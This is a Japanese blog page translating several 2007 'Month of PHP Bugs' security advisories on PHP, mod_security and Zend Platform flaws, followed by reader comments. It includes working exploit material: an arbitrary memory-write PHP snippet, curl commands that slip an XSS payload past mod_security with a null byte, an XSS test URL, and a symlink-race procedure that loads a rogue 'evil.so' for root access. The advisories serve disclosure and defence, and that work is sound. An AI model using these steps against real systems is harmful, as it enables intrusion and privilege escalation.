MOPB-14-2007:PHP substr_compare() Information Leak Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-14-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-14-2007.php
http://www.php-security.org/MOPB/code/MOPB-14-2007.php
■リファレンス
なし
■サマリ
PHP5にはsubstr_compare関数が付属しています。この関数は2つの引数を持ち、バイナリセーフでオフセットから指定した長さまでの文字列を比較します。オプションで大文字小文字を無視させることも可能です。
この関数は引数をチェックする際に整数オーバーフローが発生します。この結果、バッファを超える比較オフセットとなる場合があります。このオーバーフローはPHP変数背後の重要な情報(オフセット、カナリア値など)の読み取りを許してしまいます。
■影響するバージョン
PHP 5.2.1以下
■詳細情報
substr_compare関数は入力パラメータに対して以下の妥当性チェックを行います。
if (offset < 0) {
offset = s1_len + offset;
offset = (offset < 0) ? 0 : offset;
}
if ((offset + len) > s1_len) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "The start position cannot exceed ...");
RETURN_FALSE;
}
最初のチェックは負の値が文字列の終わりからの値となるようチェックしています。次のチェックはオフセットと要求された長さがバッファの大きさを超えてない事を確認しています。
しかし、二つ目のチェックで行われている2つの正の値の加算は、整数オーバーフローが発生し負の値となる場合がありますが、それを考慮していません。この為、添付の攻撃コードの様にバッファを超えたメモリにアクセス可能になります。
オフセットの範囲外のASCIIZ文字(訳注:NULL文字)とASCII 01文字を比較し、substr_compare関数の戻り値を比較すると、バッファの外のASCII値を知ることができます。この動作は第一引数の後にあるメモリのコピー作成を許してしまいます。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードは変数$xの後ろの4096バイトをリークさせ、16進数ダンプを行います。
memdump --------- 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 00 a7 ec be 5e 2d 00 00 00 35 AAAAAA....^-...5 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 8b ec be 5e 31 00 00 00 2d 00 00 00 00 ......^1...-.... 00000060: 00 00 00 00 00 00 00 14 fb c1 b7 38 fb c1 b7 a8 ...........8.... 00000070: 3e c2 b7 5c fa c1 b7 00 00 00 00 00 00 00 00 10 >..\............ 00000080: 00 00 00 5b ed be 5e 1d 00 00 00 31 00 00 00 84 ...[..^....1.... ...
■備考
この脆弱性は今月公開するコード実行攻撃に必要なオフセットをメモリから直接取得するために利用されます。
1 コメント
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-1375
コメントを残す
MOPB-13-2007:PHP 4 Ovrimos Extension Multiple Vulnerabilities
リンク: http://www.php-security.org/MOPB/MOPB-13-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
外部のコントリビュートモジュールであるOvrimosモジュールはOvrimos SQL Server用のモジュールです。Ovrimos SQL Serverはクライアントサーバ型でWeb機能と高速トランザクションをサポートしたRDBMSです。
このモジュールのソースコードを見ている際に、PHPの内部データ構造と接続を管理するリソースを使っていない事を発見しました。これは非常に危険であり、直接にメモリアクセスを許しコードを実行することを許してしまいます。
■影響するバージョン
PHP 4.4.5未満
■詳細情報
以下がOvrimos拡張モジュールのコードの一部です。
PHP_FUNCTION(ovrimos_longreadlen)
{
pval *arg1, *arg2;
PSTATEMENT stmt;
if (getParameters(ht, 2, &arg1, &arg2) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_long(arg1);
convert_to_long(arg2);
stmt = (PSTATEMENT) Z_LVAL_P(arg1);
stmt->longreadlen = Z_LVAL_P(arg2);
RETURN_TRUE;
}
この例では最初のパラメータはSTATEMENT構造体を直接さすポインタです。2つ目のパラメータはSTATEMENT構造体のlongreadlenフィールドに書き込まれます。もちろんこれは任意コード実行攻撃に利用される、任意のメモリアドレスへの任意のデータ書き込みを許してしまいます。
例は複数ある任意コード実行方法の一つだと考えてください。他の攻撃にはovrimos_close()(訳注:モジュール関数)からコード実行を行う任意アドレスでefree()(訳注:PHP内部のC関数)を呼ぶ方法が考えられます。
■PoC、攻撃コードまたは再現手順
Ovrimos拡張モジュールを利用して任意のメモリアドレスに任意の値を書き込むには以下のコードで十分です。
<?php $address = 0xbfbfbfbf /* - sizeof SQLS */; $value = 0xcccccccc; ovrimos_longreadlen($address, $value); ?>
■備考
Ovrimos拡張モジュールのコードは完全に壊れているので、私たちはPHPソースに含めない事を推奨します。もちろんユーザ数は非常に少ないと思われますが、Ovrimosモジュールを含めないことにより間違って有効化する事から全てのユーザを守ることができます。
この問題のインパクトは非常に低いことを認識していますが、重要性が低い脆弱性であっても監査報告には含まれなければなりません。
2 コメント
企業がホスティングを利用する(個人ユーザでも個人情報を少しでも収集するサイトを運営する)なら最低限、VPS(Virtual Private Server)からです...
コメントを残す
BONUS-12-2007:mod_security POST Rules Bypass Vulnerability
リンク: http://www.php-security.org/MOPB/BONUS-12-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
不必要
■リファレンス
なし
■サマリ
mod_securityはよくPHPと一緒に用いられるWeb Application Firewallです。mod_securityは一般に正規表現で定義されたパターンによって攻撃を防止します。このため、mod_securityは送信されてきたWebアプリケーションのパラメータとなる値と思われるHTTPリクエストをパースし、定義されたパターンに一致するリクエストをブロックします。
mod_securityがapplication/x-www-form-urlencoded コンテントタイプのPOSTリクエストをパースするする際、ASCIIZバイト(訳注:筆者は通常、ヌルバイトまたはヌル文字と呼んでいます)でエンコードされていない以降のポストデータの終わりと間違え、それ以降をスキャンしません。これによりルールを簡単にバイパスできます。
■影響するバージョン
mod_security 2.1.0以下
■詳細情報
mod_securityがリクエストを受け付けWebアプリケーションのパラメータとしてパースする場合、mod_securityが正しいと思う方法でパースします。mod_securityはRFCによって定義されるルールに従ってデータが送信される物としてパースします。実際にPerl、Python、Java、PHPがHTTPリクエストをパースする方法でパースしません。この為、RFCと解釈するアプリケーションとミスマッチが発生し、いくつものルールバイパスの脆弱性が存在します。
そのうちの一つの違いがapplication/x-www-form-urlencodeコンテントタイプのPOSTデータにASCIIZバイトが現れた場合の処理です。mod_securityはPOSTデータをC言語の文字列として扱っているため、最初のASCIIZバイト以降は処理せず、データの終わりとして扱ってしまいます。
mod_securityにとっては残念な事に、他のスクリプト言語パーサのASCIIZバイトの取り扱いは異なります。ほとんどのスクリプト言語(Perl、Python、...)はASCIIZバイトを無視し、データをパースします。PHP 5.2.0以降のPHPもこの動作が適用されます。
■PoC、攻撃コードまたは再現手順
問題を再現するには標準インストールのmod_security 2.1.0とPHP 5.2.0をインストールします。(訳注:ソースからインストールする)
以下のXSSに脆弱なPHPスクリプトをWebのドキュメントルートに配置します。(もちろんインターネットに接続していないサーバで)
<?php
if (isset($_POST['var'])
echo($_POST['var']);
?>
以下のコマンドを実行します。
$ echo -e "&var=<script>alert(/xss/);</script>" > postdata $ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
この例はブロックされません。(これがデフォルトです)しかし、error.logにXSSの可能性が検知されたとこが記録されています。
今度は同じ事をASCIIZバイトを埋め込んで行います。
$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata $ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
mod_securityはASCIIZバイト以下のパラメータを処理できないので、今回はerror.logにログメッセージは記録されていません。
■備考
全てのスクリプト言語(と稀にパースをアプリケーション自身で行っているもの)はHTTPデータを異なった方法でパースしています。全ての方言を正しく解釈できる単一のパーサ(mod_security)を記述するのは可能ではありません。従って、使用されている言語によって、mod_securityをバイパスするいくつもの方法が存在します。この例はもっとも簡単な例です。
2 コメント
WAFは役立たずとは言いませんが、頼ってはいけない、と常々言っています。皆さん大丈夫ですよね?
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-1359
コメントを残す
MOPBの反応
リンク: http://blog.php-security.org/archives/74-MOPB-First-Reactions.html
Stefanさんのブログによると、MOPBのおかげでリファレンスカウンタ、allow_url_include(とallow_url_fopen)のセキュリティホールがやっと修正されることになったようです。ブログの内容はリンク先を見ていただくとしてMOPBの成果として修正された問題についてコメントします。
たまたま、これらのはバグデータベースに最初に登録された時から知っていました(それぞれ既に何年も前の事ですが...)当時はリファレンスカウンタの件は「クラッシュくらいならエラーにした方が良い」と思っていたのですが、制限したくない、互換性の問題がある(Zend OptimizerとかZend Cacheとか)と言う理由で未修整のままでした。
allow_url_include/allow_url_fopenの問題はPHP Streamが導入された際に標準入力のストリームがallow_url_fopen(当時はallow_url_inlcudeは無く、この機能だけでも数年後に追加されました)がinclude文に対して機能しない、したがってセキュリティ上問題がある、としたBugレポートがストリーム導入後直ぐにありました。私は”当然”その問題はすぐに修正されたもの、と思っていたのですが修正されていませんでした。そして、修正されていない事を1年半か2年くらい前に知りました。 当時のBug DBにはXFormなど場合「標準入力ストリームを使えないとこまる」という理由にもならない理由付けがされていたのですが、恐らくそれが理由で修正されなかったのだと思います。
正しく修正される前にもallow_url_fopenがINI_SYSTEM(システムレベルの設定でのみ設定変更可能)に変更されたりしていました。これはセキュリティ上意味が無い上、多少でも安全に利用できるように設定しようとするプログラマには至極迷惑な仕様変更でした。後にallow_url_includeが追加されたので前の状態よりはよくなったのですが、この実装も中途半端だったのでセキュリティホールは残ったままになっていました。
# セキュリティとはあまり関係ないですが、
# php.ini設定と言えばmbstring.language設定
# がINI_SYSTEMになっている等、恐らく変更
# した本人はなぜINI_SYSTEMでは困るのか全
# く理解していないと思われます。
とにかく、直す気がなかった問題2つが正しく修正されることになり何よりです。
3 コメント
簡単に解説するとallow_url_include=offでも
include($path.'/default.php');
のようなコードがある場合、$pathにphp://inputと標準入力を利用するように設定できると、POSTメソッドを使用して任意のPHPコードをPHPにインジェクトでき実行させる事が可能になる脆弱性です。(他の件だったりして)
世の中にはregister_globals=onのサーバが多数存在するようなので(レンタルサーバは危ない物が多い)サーバ設定によっては上記のような攻撃は簡単に行えます。allow_url_includeで守っているつもりでも防御にならないです。
自分も含めて、allow_url_fopenだけの頃から、PHPの開発者は上記の脆弱性を知っていたのですが普通は気が付かないと思われます。
とにかく今すぐ状況を改善したい方はopen_basedirを設定する事をお勧めします。
既に、PHP 5.2.1 は allow_url_include が php://input や PHP 5.2.0 で追加された data:// なども対象となるように変更されているはずです。
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/php_fopen_wrapper.c?r1=1.45.2.4.2.3&r2=1.45.2.4.2.4
あと、mbstring.language の設定は、ini_set() で変更しなくても、mb_language() で代用できるため、ほとんど問題にならなかったのではないでしょうか。
MOPBで公開される情報のほとんど全ては昨年末くらいまでには情報提供されていた問題だと思います。(StefanさんがPHPセキュリティチームを離れる、と公表したので11月末~12月初めくらいだったような気がします。それ以前にPHPセキュリティレスポンスチームには「辞めてセキュリティ上の問題を公開する」と言っていたと思います。この為、このころには5.2.1に入った修正の多くCVSに入っているかと思います)基本的にはPHP 5.2.1にすぐアップグレードすればよいのですが、そうできない方も多いので書いておきましたが、バージョンを書かないと読んだ方は5.2.1でも問題があると思いますね。個人的にはallow_url_includeの問題はMOPBがなければ修正されなかったと思います。
mb_language()を使っても内部ではINI用のハンドラを呼ぶようになっているはず(もしなっていない場合、それはそれで問題なのでバグ)なのでini_set()もmb_language()も同じなはずです。
コメントを残す
MOPB-11-2007:PHP WDDX Session Deserialization Information Leak Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-11-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-11-2007.php
http://www.php-security.org/MOPB/code/MOPB-11-2007.php
■リファレンス
CVE-2007-0908
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0908
■サマリ
PHPのWDDX拡張モジュールにはWDDX形式のデータフォーマットをサポートするSessionモジュール用のシリアライゼーションハンドラーが付属します。(訳注:WDDXモジュールをロードしてもデフォルトでは"php"セッションシリアライザーが利用されます)この形式のデータフォーマットはkey_length変数が適切に処理されないと任意量のスタックデータをセッション配列キーにリークする問題が含まれていました。
この問題はスタック上の、オフセット、変数やコード(オフセットが必要となる更なる攻撃に有用)、スタックのカナリア値など、の重要な情報へのアクセスを許してしまいます。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
WDDX内部の整数キーの取り扱いは壊れています。
switch (hash_type) {
case HASH_KEY_IS_LONG:
sprintf(tmp, "%ld", idx);
key = tmp;
/* fallthru */
case HASH_KEY_IS_STRING:
php_set_session_var(key, key_length-1, *ent, NULL TSRMLS_CC);
PS_ADD_VAR(key);
}
整数キーは128バイトのスタックバッファに書き込まれ、(フォールスルーがあるために)変数はセッションに追加されます。(訳注:PS_ADD_VAR()マクロはセッションに変数を追加するマクロ)残念ながら整数キーの場合はkey_lengthが適切に初期化されていません。最初の変数名にのみ初期化され、残りのkey_lengthバイトはスタックデータが直接利用されています。
攻撃者は文字列名の前に整数インデックスを置くことにより何バイトリークさせるか制御できます。key_lengthが変数名と同じ場合は完全に攻撃者の制御下にあります。
■PoC、攻撃または再現手順
添付のPoCはPHP変数に8192バイトのスタックデータをリークし、16進数ダンプを行います。
Stackdump --------- 00000000: 31 00 00 00 74 4f 9e bf b1 b7 e5 b7 2c 38 31 65 1...tO......,81e 00000010: 39 66 65 63 b6 01 00 00 19 00 00 00 00 30 fd b7 9fec.........0.. 00000020: f4 8f f2 b7 f4 8f f2 b7 00 35 1f 08 0a 00 00 00 .........5...... 00000030: 80 0e 1f 08 90 08 00 00 4c ef f1 b7 d1 84 e5 b7 ........L....... 00000040: b4 4f 9e bf 69 68 e5 b7 d1 84 e5 b7 00 30 fd b7 .O..ih.......0.. 00000050: 20 00 00 00 40 04 00 00 20 00 00 00 00 30 fd b7 ...@... ....0.. 00000060: f4 8f f2 b7 20 0d 1f 08 45 90 19 08 cc 4f 9e bf .... ...E....O.. 00000070: 6b 95 e5 b7 20 0d 1f 08 f4 8f f2 b7 80 a8 f2 b7 k... ........... 00000080: 01 00 00 00 01 20 00 00 48 4f 9e bf 68 e8 1e 08 ..... ..HO..h... 00000090: 0c a0 1e 08 0c 0d 1f 08 d4 a9 1e 08 ec 9f 1e 08 ................ 000000a0: 08 50 9e bf 8a 98 09 08 74 c7 1e 08 99 20 00 00 .P......t.... .. 000000b0: 18 50 9e bf 24 51 9e bf 00 00 00 00 ec 9f 1e 08 .P..$Q.......... 000000c0: 38 50 9e bf b9 99 09 08 01 00 00 00 28 50 9e bf 8P..........(P.. 000000d0: 0c 00 00 00 ec 9f 1e 08 2c c2 1e 08 68 46 ff 08 ........,...hF.. 000000e0: d4 a9 1e 08 24 51 9e bf 00 00 00 00 60 50 9e bf ....$Q......`P.. 000000f0: f8 59 9e bf 44 f4 15 08 01 00 00 00 ec 9f 1e 08 .Y..D........... ...
■備考
この脆弱性は、他の多くの脆弱性と同じように、MOPBがはじまる前にPHPプロジェクトに通知していた問題です。最新版では脆弱性は修正されています。この問題を修正する為には少なくともPHP 4.4.5またはPHP 5.2.1にアップグレードする事をお勧めします。
フィードバックはまだありません...
コメントを残す
MOPB-10-2007:PHP php_binary Session Deserialization Information Leak Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-10-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-10-2007.php
http://www.php-security.org/MOPB/code/MOPB-10-2007.php
■リファレンス
なし
■サマリ
PHPのセッションモジュールにはヒープ情報がリークする脆弱性を持つ'php_binary'と呼ばれるシリアライゼーションハンドラが含まれています。このセキュリティホールはバウンダリ(境界)チェックが無いため発生し、シリアライズされたデータから126バイトまでをセッション変数の配列キーのリークを許しします。
この脆弱性はヒープに保存された重要な情報、オフセットやヒープのカナリア値(更なる攻撃に有用)、などへのアクセスを許す事につながります。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
php_binaryセッションデータフォーマットはシリアライズされた変数毎にエントリを持っています。すべてのエントリは変数名の長さを含む1バイトのフィールドから始まり、変数名とシリアライズされた値と続きます。
残念ながら、名前の抽出はバウンダリチェックなしに行われます。大きすぎる長さを設定するとバッファを超えて名前を読み込み、これが最大126バイトまでのヒープ情報の漏えいを可能にします。
■PoC、攻撃コードまたは再現手順
添付のPoC攻撃コードは126バイトまでのヒープデータをPHP変数に読み込み16進数ダンプを表示します。
■備考
この脆弱性は、他の多くの脆弱性と同じように、MOPBがはじまる前にPHPプロジェクトに通知していた問題です。最新版では脆弱性は修正されています。この問題を修正する為には少なくともPHP 4.4.5またはPHP 5.2.1にアップグレードする事をお勧めします。
フィードバックはまだありません...
コメントを残す
MOPB-09-2007:PHP wddx_deserialize() String Append Buffer Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-09-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■ クレジット
発見者: Stefan Esser
攻撃コード: Stefan Esser
■PoCまたは攻撃コード
MOPB-09-2007.php
http://www.php-security.org/MOPB/code/MOPB-09-2007.php
■リファレンス
なし
■サマリ
Stefan EsserがPHPセキュリティレスポンスチームを去ってから、PHPのCVSリポジトリに擬似的なセキュリティフィックスが行われています。擬似的なセキュリティフィックスとは、危険と考えられている関数(strncpy, sprintfなど)をより安全と考えられている関数(strlcpy, spprinfなど)に書き換える事を意味しています。
残念ながらこれらの変更は非常にずさんであり、コードを壊し、ユーザから苦情があったため、いくつか場所でリバート(訳注:リポジトリに行った変更を元に戻すこと)しなければなりませんでした。そして、WDDX拡張モジュールを利用している場合、特殊に細工された(悪意のある)WDDXパケットによりバッファーオーバーフローが発生するコードが追加されました。この問題に対してユーザから苦情があることは考えづらく、アドバイザリが無い場合はおそらく次のPHPリリースに含まれていたと思われます。
■影響するバージョン
CVS版のPHPのみ
■詳細情報
先週、以下の問題のあるstrncpyからstrlcpyの変更が行われ、CVSリポジトリに追加されました。
--- wddx.c 2007/02/24 02:17:27 1.119.2.10.2.11
+++ wddx.c 2007/02/24 17:59:45 1.119.2.10.2.12
@@ -16,7 +16,7 @@
+----------------------------------------------------------------------+
*/
-/* $Id: wddx.c,v 1.119.2.10.2.11 2007/02/24 02:17:27 helly Exp $ */
+/* $Id: wddx.c,v 1.119.2.10.2.12 2007/02/24 17:59:45 iliaa Exp $ */
#ifdef HAVE_CONFIG_H
#include "config.h"
@@ -1034,10 +1034,9 @@
Z_STRVAL_P(ent->data) = estrndup(decoded, decoded_len);
Z_STRLEN_P(ent->data) = decoded_len;
} else {
- Z_STRVAL_P(ent->data) = erealloc(Z_STRVAL_P(ent->data),
- Z_STRLEN_P(ent->data) + decoded_len + 1);
- strncpy(Z_STRVAL_P(ent->data)+Z_STRLEN_P(ent->data), decoded, decoded_len);
Z_STRLEN_P(ent->data) += decoded_len;
+ Z_STRVAL_P(ent->data) = erealloc(Z_STRVAL_P(ent->data), Z_STRLEN_P(ent->data) + 1);
+ strlcpy(Z_STRVAL_P(ent->data) + Z_STRLEN_P(ent->data), decoded, Z_STRLEN_P(ent->data) + 1);
Z_STRVAL_P(ent->data)[Z_STRLEN_P(ent->data)] = '\0';
}
Cプログラマにとってはボールドの部分が間違っている事は明らかなはずです。正しい関数はstrlcpy()ではなく、strlcat()であり加算を行っている部分も誤りです。
このWDDXのアンシリアライズコードの小さな欠陥は、<string>等のタグが他のタグに解釈されるなどにより、バッファオーバーフローを引き起こします。この状態は悪意のある(攻撃者が送信した)WDDXパケットの場合にのみ発生します。
■PoC、攻撃コードまたは再現手順
この脆弱性はCVS版のPHPにのみ存在する事を発見したばかりで、任意コードを実行する攻撃コードは作成していません。しかしながら、任意コードを実行する攻撃が可能であること、それを月末までには証明できることを疑っていません。その時までは、添付のPOCコードでPHPがメモリマネージャで確認できます。
■備考
PHP開発者がPHPをより安全にするためにこのような変更を行う事は理解できます。しかし、コミットする前に複数回チェックする事をお勧めします。WDDXで行われたような変更は、悪意のあるパケットのみで脆弱性が現れるためこれらの問題はセキュリティ監査が明らかにするまで発見されないので、非常に危険です。
この様な変更によってのみ我々の主張が証明できます。
(訳注:「我々の主張」とは「安易により安全だとされている関数への書き換えを行う事は危険」とする主張と思われます)
フィードバックはまだありません...
コメントを残す
MOPB-08-2007:PHP 4 phpinfo() XSS Vulnerability (Deja-vu)
リンク: http://www.php-security.org/MOPB/MOPB-08-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-08-2007.phpt
http://www.php-security.org/MOPB/code/MOPB-08-2007.phpt
■リファレンス
HPHP-18-2005
http://www.hardened-php.net/advisory_182005.77.html
■サマリ
Hardened-PHPプロジェクトにより2005年10月に公開され修正された脆弱性が、PHP4.3.3から再び導入されています。phpinfo関数がエスケープ無しにユーザが送信した$_GET, $_POST, $_COOKIE変数を表示するのでXSSに脆弱になります。
■影響するバージョン
PHP 4.4.3から4.4.6
■詳細情報
phpinfo関数はPHPの詳細な実行環境を表示します。これにはユーザが送信した変数も含まれます。
ユーザに表示される配列変数の内容は再帰的な手法で特別な処理をおこなってから出力されます。以前のPHPは出力前にエスケープを行っていませんでした。このため現在のPHPは書き込み関数は出力が適切にエスケープされるよう内部関数が利用されています。この修正はPHP5のソースツリーで作成され、後にPHP4にバックポートされました。
残念な事に、バックポートは半分だけ行われました。内部関数は書き込み関数のパラメータを受け付けますが、全く利用されていません。この変更は私たちが2005年10月に公開した脆弱性を再び導入してしまいました。
■PoC、攻撃コード、再現手順
添付の攻撃コードは以下のコマンド実行可能なPHPテストシステムのテストケースです。
$ make test
テストケースはPHPのソースコードのテストディレクトリ以下にコピーするだけで利用できます。
PASS Classes general test [tests/classes/class_example.phpt] PASS Classes inheritance test [tests/classes/inheritance.phpt] FAIL [SECURITY] phpinfo() simple XSS test [tests/exploits/MOPB-08-2007.phpt] PASS Strlen() function test [tests/func/001.phpt] PASS Static variables in functions [tests/func/002.phpt]
脆弱性を手動でテストするにはphpinfo()を表示するページに次のようなパラメータを追加して表示します。
http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>
■備考
この脆弱性はPHPのソースコードに脆弱性の実証コードテストケースが必要であることの良い例です。このようなシステムになっている場合、この脆弱性のようなバグは決して再び導入されるような事はありません。
私たちがPHPセキュリティレスポンスチームにこのようなテストが必要だと主張すると、攻撃コードのテストをPHPに追加したくない、隠ぺいするために他のテストケースに隠しておきたいと言われました。
最後に、絶対にphpinfo関数の出力をあなたのサーバで参照できるようにしないでください。
1 コメント
phpinfo()の出力はセキュリティ上の脅威です、と言っても使ってしまうユーザは後を絶たないので、デフォルトではローカルホストか同じサブネットしか表示しない&表示した場合はボールド赤字で「DO NOT DISPLAY THIS PAGE ON PRODUCTION SERVER」と書くくらいは必要かも知れません。
コメントを残す
BONUS-07-2007:Zend Platform ini_modifier Local Root Vulnerability
リンク: http://www.php-security.org/MOPB/BONUS-07-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:不必要
■PoCまたは攻撃コード
不必要
■リファレンス
なし
■サマリ
ZendプラットフォームにはGUIでphp.iniファイルを編集するini_modifierが付属します。ini_modifierを悪用することにより、ローカルの攻撃者はGUIに必要なパスワードを知らなくてもphp.iniファイルを変種できます。例えば、攻撃者はルート権限を取得する不正なPHP拡張モジュールをphp.iniに追加し、次のサーバ再起動を待つことができます。
■影響するバージョン
Zendプラットフォーム2.2.3以下
■詳細情報
Zendプラットフォームをインストールすると、SUIDされたini_modifierバイナリがインストールされます。
$ ls -la /usr/local/Zend/sbin/ini_modifier -rwxr-sr-x 1 root zendtech 243240 2006-08-14 16:24 ini_modifier
GUIからシステム全体に利用されるphp.iniファイルを編集する事がこのバイナリファイルの目的です。ini_modifierは乱用を防ぐために何かを編集するまえにGUIパスワードを要求します。ini_modifierはGUIパスワードのMD5ハッシュをphp.iniから読み込みます。それは辞書またはレインボーテーブル攻撃でクラックできますが、ini_modifierの脆弱性を利用する単純な方法もあります。
ini_modifierは-fオプションを使い別のphp.iniファイルを編集対象に指定でき、このオプションを利用するとシステム全体のphp.iniをGUIパスワードなしで編集できます。
$ cd /tmp $ mkdir ini $ cd ini $ cp /usr/local/Zend/etc/php.ini . ... now edit zend_gui_password in the copy to a MD5 of your choice and ... REMEBER the old MD5 $ cd .. $ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n Password: (ini_modifier) help modify entry - Modifies an entry. switch extension - Enables or disables an extension. switch zend_extension - Enables or disables a Zend extension. help - Shows this help. write - Writes the changes. quit - Quits the program. (ini_modifier) switch zend_extension /var/www/upload/evil.so on (ini_modifier) modify entry Zend zend_gui_password OLDMD5 (ini_modifier)
同時に以下のコマンドを別のコンソールから実行します。
$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini
そしてiniファイルの編集を続けます。
(ini_modifier) write (ini_modifier) quit $ cat /usr/local/Zend/etc/php.ini [PHP] zend_extension=/var/www/upload/evil.so ... zend_gui_password=OLDMD5
攻撃者は次のWebサーバの再起動で不正なZend拡張モジュールがロードされルート権限で実行されます。
■PoC、攻撃コードまたは再現手順
詳細情報を参照
■備考
この問題は2007年1月末にZend社に通知されました。Zend社はini_modifierのアップデートをZend社のWebサイトで提供していますが、Zendプラットフォーム3.0へのアップグレードを薦めています。
1 コメント
コメントを残す
BONUS-06-2007:Zend Platform Insecure File Permission Local Root Vulnerability
リンク: http://www.php-security.org/MOPB/BONUS-06-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:不必要
■PoCまたは攻撃コード
不必要
■リファレンス
なし
■サマリ
Zendプラットフォームに付属するいくつかのバイナリとシェルスクリプトは脆弱なファイル権限が設定された状態でインストールされます。いくつかのファイルは間違ってWebサーバの所有されたり、Zendプラットフォームをインストールしたユーザアカウントによって所有されたりしています。
MOPBの脆弱性を攻撃してWebサーバアカウントやZendプラットフォームをインストールしたユーザアカウントを乗っ取ったりすることで、攻撃者はファイルを入れ替えたり、編集することにより次のリブートでルート権限でサーバが再起動するように権限を昇格させることが可能です。
■影響するバージョン
Zendプラットフォーム 2.2.3以下
■詳細情報
詳細情報は必要なし
■PoC、攻撃コードまたは再現手順
PHPをモジュールで動作させ、safe_modeかopen_basedirが無効に設定されていれば、Zendセッション管理デーモンの起動スクリプト、/usr/local/Zend/bin/scd.shを直接変更できます。好きなコマンドを追加してWebサーバを再起動させます。追加したコマンドはルート権限で実行されます。
システムがもしsafe_modeまたはopen_basedirを有効に設定している場合、今月公開されるローカル脆弱性を使うだけで攻撃できます。
■備考
この問題はZend社に対して2007年1月末に通知されました。Zend社はどのような手順でファイル権限を修正するかWebサイト(http://www.zend.com/products/zend_platform/security_vulnerabilities)で公開しましたが、Zend社はZendプラットフォーム3.0にアップグレードを薦めています。
フィードバックはまだありません...
コメントを残す
MOPB-05-2007:PHP unserialize() 64 bit Array Creation Denial of Service Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-05-2007.html
